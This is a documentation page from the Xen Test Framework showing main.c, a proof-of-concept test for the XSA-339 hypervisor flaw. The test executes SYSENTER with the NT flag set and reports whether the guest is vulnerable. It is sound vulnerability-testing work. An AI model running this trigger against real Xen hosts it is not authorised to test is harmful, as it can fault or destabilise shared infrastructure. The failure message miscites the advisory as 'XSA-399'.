Xen Test Framework
main.c
Go to the documentation of this file.
1 
33 #include <xtf.h>
34 
35 const char test_title[] = "XSA-339 PoC";
36 
37 void entry_GP(void);
38 
39 static unsigned long __user_text sysenter_nt(void)
40 {
41  exinfo_t fault = 0;
42 
43  /* Use the SYSEXIT ABI. Return %rsp in %rcx, %rip in %rdx. */
44  asm volatile ("mov %%"_ASM_SP", %%"_ASM_CX";"
45 #ifdef __x86_64__
46  "lea 3f(%%rip), %%rdx;"
47 #else
48  "call 1f;"
49  "1: pop %%edx;"
50  "add $3f - 1b, %%edx;"
51 #endif
52  "pushf;"
53  "orl $"STR(X86_EFLAGS_NT)", (%%"_ASM_SP");"
54  "popf;"
55  "2: sysenter;"
56  "3:"
57  _ASM_EXTABLE_HANDLER(2b, 3b, %P[rec])
58  : "+a" (fault)
59  : [rec] "p" (ex_record_fault_eax)
60  : "ecx", "edx");
61 
62  return fault;
63 }
64 
65 static void fixup_sysenter_state(struct cpu_regs *regs)
66 {
67  regs->cs = __USER_CS;
68  regs->ip = regs->dx;
69  regs->eflags &= ~X86_EFLAGS_NT;
70  regs->_ss = __USER_DS;
71  regs->_sp = regs->cx;
72 }
73 
74 void do_sysenter(struct cpu_regs *regs)
75 {
77 }
78 
79 bool do_unhandled_exception(struct cpu_regs *regs)
80 {
81  exinfo_t ex = EXINFO(regs->entry_vector, regs->error_code);
82 
83  /*
84  * First buggy #GP, and the subject of XSA-339. Points at the #GP handler
85  * in kernel mode.
86  */
87  if ( ex == EXINFO_SYM(GP, 0) && regs->ip == _u(entry_GP) &&
88  (regs->cs & X86_SEL_RPL_MASK) == IS_DEFINED(CONFIG_32BIT) )
89  {
90  regs->ax = EXINFO_AVAIL0;
91  return true;
92  }
93 
94  /*
95  * Second buggy #GP, not a security issue. Invoked with SYSENTER
96  * semantics, so all calling state discarded. Don't clobber EXINFO_AVAIL0
97  * in the fault information if we're unwnding the XSA case.
98  */
99  if ( ex == EXINFO_SYM(GP, 0) && regs->ip == 0 &&
100  (regs->cs & X86_SEL_RPL_MASK) == 3 )
101  {
102  if ( regs->ax != EXINFO_AVAIL0 )
103  regs->ax = ex;
104 
105  fixup_sysenter_state(regs);
106  return true;
107  }
108 
109  return false;
110 }
111 
112 void test_main(void)
113 {
114  exinfo_t fault = exec_user(sysenter_nt);
115 
116  switch ( fault )
117  {
118  case EXINFO_AVAIL0:
119  return xtf_failure("Fail: Vulnerable to XSA-399\n");
120 
121  case 0:
122  case EXINFO_SYM(UD, 0):
123  case EXINFO_SYM(GP, 0):
124  return xtf_success("Success: Not vulnerable to XSA-339\n");
125 
126  default:
127  return xtf_error("Unexpected fault %#x, %pe\n", fault, _p(fault));
128  }
129 }
130 
131 /*
132  * Local variables:
133  * mode: C
134  * c-file-style: "BSD"
135  * c-basic-offset: 4
136  * tab-width: 4
137  * indent-tabs-mode: nil
138  * End:
139  */
unsigned int exinfo_t
Packed exception and error code information.
Definition: exinfo.h:19
#define IS_DEFINED(x)
Evalute whether the CONFIG_ token x is defined.
Definition: macro_magic.h:67
#define X86_SEL_RPL_MASK
Definition: processor.h:189
bool ex_record_fault_eax(struct cpu_regs *regs, const struct extable_entry *ex)
Record the current fault in %eax.
Definition: extable.c:8
#define EXINFO(vec, ec)
Definition: exinfo.h:26
#define EXINFO_AVAIL0
Definition: exinfo.h:24
#define X86_EFLAGS_NT
Definition: processor.h:18
void do_sysenter(struct cpu_regs *regs)
May be implemented by a guest to handle SYSENTER invocations.
Definition: main.c:74
static void fixup_sysenter_state(struct cpu_regs *regs)
Definition: main.c:65
#define _u(v)
Express an arbitrary value v as unsigned long.
Definition: numbers.h:53
#define STR(x)
Stringise an expression, expanding preprocessor tokens.
Definition: macro_magic.h:17
#define __user_text
Definition: compiler.h:33
void xtf_success(const char *fmt,...)
Report test success.
Definition: report.c:38
void xtf_failure(const char *fmt,...)
Report a test failure.
Definition: report.c:94
void test_main(void)
To be implemented by each test, as its entry point.
Definition: main.c:137
#define GP
const char test_title[]
The title of the test.
Definition: main.c:14
#define _ASM_CX
Definition: asm_macros.h:34
static unsigned long exec_user(unsigned long(*fn)(void))
Definition: lib.h:62
#define _p(v)
Express an abitrary integer v as void *.
Definition: numbers.h:48
#define EXINFO_SYM(exc, ec)
Definition: exinfo.h:29
void xtf_error(const char *fmt,...)
Report a test error.
Definition: report.c:80
#define _ASM_SP
Definition: asm_macros.h:37
static unsigned long sysenter_nt(void)
Definition: main.c:39
bool do_unhandled_exception(struct cpu_regs *regs)
May be implemented by a guest to provide custom exception handling.
Definition: main.c:94
#define _ASM_EXTABLE_HANDLER(fault, fixup, handler)
Create an exception table entry with custom handler.
Definition: extable.h:38
void entry_GP(void)